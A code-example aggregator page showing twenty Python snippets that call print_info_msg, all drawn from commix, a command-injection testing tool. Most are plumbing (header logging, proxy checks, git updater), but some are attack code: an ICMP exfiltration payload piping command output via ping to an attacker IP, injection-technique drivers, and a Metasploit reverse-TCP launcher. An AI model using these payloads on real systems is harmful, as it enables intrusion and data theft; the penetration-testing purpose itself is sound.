本文整理汇总了Python中src.utils.settings.print_info_msg函数的典型用法代码示例。如果您正苦于以下问题:Python print_info_msg函数的具体用法?Python print_info_msg怎么用?Python print_info_msg使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了print_info_msg函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: request
def request(self, method, url, body, headers):
info_msg = "The provided HTTP request headers: "
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_info_msg(info_msg)
if menu.options.traffic_file:
logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37)
header = method + " " + url
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
for item in headers.items():
header = item[0] + ": " + item[1]
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if body :
header = body
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
logs.log_traffic("\n\n")
if settings.SCHEME == 'https':
httplib.HTTPSConnection.request(self, method, url, body, headers)
else:
httplib.HTTPConnection.request(self, method, url, body, headers)
开发者ID:security-geeks,项目名称:commix,代码行数:29,代码来源:headers.py
示例2: do_check
def do_check(url):
check_proxy = True
try:
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Setting the HTTP proxy for all HTTP requests... "
print settings.print_info_msg(info_msg)
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
# Check if defined extra headers.
headers.do_check(request)
request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME)
try:
check = urllib2.urlopen(request)
except urllib2.HTTPError, error:
check = error
except:
check_proxy = False
pass
if check_proxy == True:
pass
else:
err_msg = "Unable to connect to the target URL or proxy ("
err_msg += menu.options.proxy
err_msg += ")."
print settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:29,代码来源:proxy.py
示例3: revision_num
def revision_num():
try:
start = 0
end = 0
start = time.time()
process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, _ = process.communicate()
if not menu.options.verbose:
info_msg = ('Updated to', 'Already at')["Already" in stdout]
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Delete *.pyc files.
subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait()
# Delete empty directories and files.
subprocess.Popen("find . -empty -type d -delete", shell=True).wait()
if not menu.options.verbose:
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
rev_num = match.group(0) if match else None
info_msg += " the latest revision '" + str(rev_num[:7]) + "'."
print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]"
else:
sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL)
end = time.time()
how_long = int(end - start)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "."
print settings.print_info_msg(info_msg)
except:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:29,代码来源:update.py
示例4: injection_proccess
def injection_proccess(url, check_parameter, http_request_method, filename, delay):
# User-Agent Injection / Referer Injection / Custom header Injection
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header "
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
else:
header_name = ""
the_type = " parameter "
check_parameter = " '" + check_parameter + "'"
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
if not settings.LOAD_SESSION:
info_msg = "Setting the " + "(" + http_request_method
info_msg += ")" + check_parameter + header_name + the_type + "for tests."
print settings.print_info_msg(info_msg)
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)
# Check if it is vulnerable to classic command injection technique.
if not menu.options.tech or "c" in menu.options.tech:
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
settings.CLASSIC_STATE = True
else:
settings.CLASSIC_STATE = False
# Check if it is vulnerable to eval-based code injection technique.
if not menu.options.tech or "e" in menu.options.tech:
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
settings.EVAL_BASED_STATE = True
else:
settings.EVAL_BASED_STATE = False
# Check if it is vulnerable to time-based blind command injection technique.
if not menu.options.tech or "t" in menu.options.tech:
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
settings.TIME_BASED_STATE = True
else:
settings.TIME_BASED_STATE = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if not menu.options.tech or "f" in menu.options.tech:
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
settings.FILE_BASED_STATE = True
else:
settings.FILE_BASED_STATE = False
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
warn_msg = "The tested (" + http_request_method + ")"
warn_msg += check_parameter + header_name + the_type
warn_msg += "seems to be not injectable."
print settings.print_warning_msg(warn_msg)
开发者ID:ardiansn,项目名称:commix,代码行数:59,代码来源:controller.py
示例5: msf_launch_msg
def msf_launch_msg(output):
info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)."
print settings.print_info_msg(info_msg)
info_msg = "Once the loading is done, press here any key to continue..."
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdin.readline().replace("\n","")
# Remove the ouput file.
os.remove(output)
开发者ID:security-geeks,项目名称:commix,代码行数:8,代码来源:reverse_tcp.py
示例6: updater
def updater():
time.sleep(1)
info_msg = "Checking requirements to update "
info_msg += settings.APPLICATION + " via GitHub... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if windows
if settings.IS_WINDOWS:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
# Check if ".git" exists!
if os.path.isdir("./.git"):
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n")
sys.stdout.flush()
start = 0
end = 0
start = time.time()
print "---"
subprocess.Popen("git reset --hard HEAD && git pull", shell=True).wait()
# Delete *.pyc files.
subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait()
# Delete empty directories and files.
subprocess.Popen("find . -empty -type d -delete", shell=True).wait()
print "---"
end = time.time()
how_long = int(end - start)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "."
print settings.print_info_msg(info_msg)
print ""
os._exit(0)
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "The '.git' directory not found. Do it manually: "
err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL
err_msg += " " + settings.APPLICATION + "' "
print settings.print_critical_msg(err_msg)
sys.exit(0)
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = requirment + " not found."
print settings.print_critical_msg(err_msg)
sys.exit(0)
except Exception as err_msg:
print "\n" + settings.print_critical_msg(err_msg)
sys.exit(0)
开发者ID:dtrip,项目名称:commix,代码行数:56,代码来源:update.py
示例7: list_tamper_scripts
def list_tamper_scripts():
info_msg = "Listing available tamper scripts:"
print settings.print_info_msg(info_msg)
if menu.options.list_tampers:
for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
content = open(script, "rb").read()
match = re.search(r"About:(.*)\n", content)
if match:
comment = match.group(1).strip()
print settings.SUB_CONTENT_SIGN + Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment
开发者ID:security-geeks,项目名称:commix,代码行数:10,代码来源:checks.py
示例8: init_request
def init_request(url):
# Check connection(s)
checks.check_connection(url)
# Define HTTP User-Agent header
user_agent_header()
# Check the internet connection (--check-internet switch).
if menu.options.check_internet:
check_internet(url)
# Check if defined POST data
if menu.options.data:
settings.USER_DEFINED_POST_DATA = menu.options.data
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA:
settings.PARAMETER_DELIMITER = menu.options.pdel
try:
request = urllib2.Request(url, menu.options.data)
except SocketError as e:
if e.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print settings.print_critical_msg(error_msg)
elif e.errno == errno.WSAECONNRESET:
error_msg = "An existing connection was forcibly closed by the remote host."
print settings.print_critical_msg(error_msg)
raise SystemExit()
else:
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in url:
settings.PARAMETER_DELIMITER = menu.options.pdel
try:
request = urllib2.Request(url)
except SocketError as e:
if e.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print settings.print_critical_msg(error_msg)
elif e.errno == errno.WSAECONNRESET:
error_msg = "An existing connection was forcibly closed by the remote host."
print settings.print_critical_msg(error_msg)
raise SystemExit()
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Creating HTTP requests opener object."
print settings.print_info_msg(info_msg)
# Check for URL redirection
if not menu.options.ignore_redirects:
url = redirection.do_check(url)
# Used a valid pair of valid credentials
if menu.options.auth_cred and menu.options.auth_type:
info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type
info_msg += " HTTP authentication credentials."
print settings.print_info_msg(info_msg)
return request
开发者ID:security-geeks,项目名称:commix,代码行数:54,代码来源:main.py
示例9: notification
def notification(url, technique, injection_type):
try:
if settings.LOAD_SESSION == True:
info_msg = "A previously stored session has been held against that host."
print settings.print_info_msg(info_msg)
while True:
if not menu.options.batch:
question_msg = "Do you want to resume to the "
question_msg += "(" + injection_type.split(" ")[0] + ") "
question_msg += technique.rsplit(' ', 2)[0]
question_msg += " injection point? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower()
else:
settings.LOAD_SESSION = ""
if len(settings.LOAD_SESSION) == 0:
settings.LOAD_SESSION = "y"
if settings.LOAD_SESSION in settings.CHOICE_YES:
return True
elif settings.LOAD_SESSION in settings.CHOICE_NO:
settings.LOAD_SESSION = False
if technique[:1] != "c":
while True:
question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "a":
settings.RETEST = True
break
elif proceed_option.lower() == "c" :
settings.RETEST = False
break
elif proceed_option.lower() == "n":
raise SystemExit()
else:
pass
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if settings.SESSION_APPLIED_TECHNIQUES:
menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES)
return False
elif settings.LOAD_SESSION in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except sqlite3.OperationalError, err_msg:
print settings.print_critical_msg(err_msg)
开发者ID:security-geeks,项目名称:commix,代码行数:54,代码来源:session_handler.py
示例10: updater
def updater():
time.sleep(1)
info_msg = "Checking requirements to update "
info_msg += settings.APPLICATION + " from GitHub repo... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if menu.options.offline:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "You cannot update commix via GitHub without access on the Internet."
print settings.print_critical_msg(err_msg)
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
# Check if ".git" exists!
if os.path.isdir("./.git"):
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n")
sys.stdout.flush()
info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) "
info_msg += "version... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
revision_num()
print ""
os._exit(0)
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "The '.git' directory not found. Do it manually: "
err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL
err_msg += " " + settings.APPLICATION + "' "
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = requirment + " not found."
print settings.print_critical_msg(err_msg)
raise SystemExit()
except Exception as err_msg:
print "\n" + settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:52,代码来源:update.py
示例11: http_response_content
def http_response_content(content):
info_msg = "The target's HTTP response page content:"
if settings.VERBOSITY_LEVEL >= 4:
print settings.print_info_msg(info_msg)
if menu.options.traffic_file:
logs.log_traffic("-" * 42 + "\n" + info_msg + "\n" + "-" * 42)
if settings.VERBOSITY_LEVEL >= 4:
content = checks.remove_empty_lines(content)
print settings.print_http_response_content(content)
if menu.options.traffic_file:
logs.log_traffic("\n" + content)
if menu.options.traffic_file:
logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
开发者ID:security-geeks,项目名称:commix,代码行数:13,代码来源:headers.py
示例12: unicorn_updater
def unicorn_updater(current_version):
APPLICATION_NAME = "TrustedSec's Magic Unicorn"
info_msg = "Checking requirements to update "
info_msg += APPLICATION_NAME + " from GitHub repo... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if menu.options.offline:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "You cannot update TrustedSec's Magic Unicorn "
err_msg += "via GitHub without access on the Internet."
print settings.print_critical_msg(err_msg)
raise SystemExit()
# Check if windows
if settings.IS_WINDOWS:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "For updating purposes on Windows platform, it's recommended "
err_msg += "to use a GitHub client for Windows (http://windows.github.com/)."
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
try:
requirment = "git"
# Check if 'git' is installed.
requirments.do_check(requirment)
if requirments.do_check(requirment) == True :
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n")
sys.stdout.flush()
if len(current_version) == 0:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/'))
os.chdir(unicorn_path)
else:
os.chdir("../")
subprocess.Popen("rm -rf unicorn", shell=True).wait()
info_msg = "Updating " + APPLICATION_NAME + " to the latest (dev) "
info_msg += "version... "
subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait()
os.chdir("unicorn")
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
revision_num()
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = requirment + " not found."
print settings.print_critical_msg(err_msg)
raise SystemExit()
except Exception as err_msg:
print settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:49,代码来源:update.py
示例13: server_identification
def server_identification(server_banner):
found_server_banner = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target server... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
for i in range(0,len(settings.SERVER_BANNERS)):
match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower())
if match:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
if settings.VERBOSITY_LEVEL >= 1:
success_msg = "The target server was identified as "
success_msg += server_banner + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
settings.SERVER_BANNER = match.group(0)
found_server_banner = True
# Set up default root paths
if "apache" in settings.SERVER_BANNER.lower():
if settings.TARGET_OS == "win":
settings.WEB_ROOT = "\\htdocs"
else:
settings.WEB_ROOT = "/var/www"
elif "nginx" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "/usr/share/nginx"
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.WEB_ROOT = "\\inetpub\\wwwroot"
break
else:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "The server which was identified as '"
warn_msg += server_banner + "' seems unknown."
print settings.print_warning_msg(warn_msg)
开发者ID:security-geeks,项目名称:commix,代码行数:35,代码来源:requests.py
示例14: do_check
def do_check(url):
check_proxy = True
info_msg = "Testing proxy " + menu.options.proxy + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
# Check if defined extra headers.
headers.do_check(request)
request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL)
try:
check = urllib2.urlopen(request)
except urllib2.HTTPError, error:
check = error
except:
check_proxy = False
pass
if check_proxy == True:
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n")
sys.stdout.flush()
# Check if defined "--force-ssl" option AND "--proxy" option.
# We then force the proxy to https
if menu.options.force_ssl and menu.options.proxy:
settings.PROXY_PROTOCOL = 'https'
else:
print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]"
err_msg = "Could not connect to proxy."
print settings.print_error_msg(err_msg)
sys.exit(0)
开发者ID:HugoDelval,项目名称:commix,代码行数:34,代码来源:proxy.py
示例15: cmd_exec
def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
global add_new_line
# ICMP exfiltration payload.
payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Executing the '" + cmd + "' command... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
if http_request_method == "GET":
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
req = url + data
else:
values = {vuln_parameter:payload}
data = urllib.urlencode(values)
req = urllib2.Request(url=url, data=data)
try:
sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n")
response = urllib2.urlopen(req)
time.sleep(3)
sys.stdout.write(Style.RESET_ALL)
if add_new_line:
print "\n"
add_new_line = True
else:
print ""
except urllib2.HTTPError, err_msg:
print settings.print_critical_msg(str(err_msg.code))
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:35,代码来源:icmp_exfiltration.py
示例16: application_identification
def application_identification(server_banner, url):
found_application_extension = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifying the target application ... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
root, application_extension = splitext(urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
success_msg = "The target application was identified as "
success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
# Check for unsupported target applications
for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
warn_msg = "Heuristics have failed to identify target application."
print settings.print_warning_msg(warn_msg)
开发者ID:security-geeks,项目名称:commix,代码行数:29,代码来源:requests.py
示例17: check_connection
def check_connection(url):
hostname = urlparse.urlparse(url).hostname or ''
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname):
if not any((menu.options.proxy, menu.options.tor, menu.options.offline)):
try:
info_msg = "Resolving hostname '" + hostname + "'."
print settings.print_info_msg(info_msg)
socket.getaddrinfo(hostname, None)
except socket.gaierror:
err_msg = "Host '" + hostname + "' does not exist."
print settings.print_critical_msg(err_msg)
raise SystemExit()
except socket.error, ex:
err_msg = "Problem occurred while "
err_msg += "resolving a host name '" + hostname + "'"
print settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:17,代码来源:checks.py
示例18: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if menu.options.verbose:
info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file..."
sys.stdout.write("\n" + settings.print_info_msg(info_msg))
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
开发者ID:ardiansn,项目名称:commix,代码行数:9,代码来源:fb_handler.py
示例19: http_response
def http_response(headers, code):
info_msg = "The target's HTTP response headers (" + str(code) + "):"
if settings.VERBOSITY_LEVEL >= 3:
print settings.print_info_msg(info_msg)
if menu.options.traffic_file:
logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37)
response_http_headers = str(headers).split("\r\n")
for header in response_http_headers:
if len(header) > 1:
if settings.VERBOSITY_LEVEL >= 3:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
if settings.VERBOSITY_LEVEL <= 3:
logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
else:
logs.log_traffic("\n\n")
开发者ID:security-geeks,项目名称:commix,代码行数:18,代码来源:headers.py
示例20: tfb_controller
def tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response):
if no_result == True:
info_msg = "Trying to create a file, in temporary "
info_msg += "directory (" + tmp_path + ")...\n"
sys.stdout.write(settings.print_info_msg(info_msg))
call_tfb = tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)
return call_tfb
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:ardiansn,项目名称:commix,代码行数:10,代码来源:fb_handler.py
注:本文中的src.utils.settings.print_info_msg函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论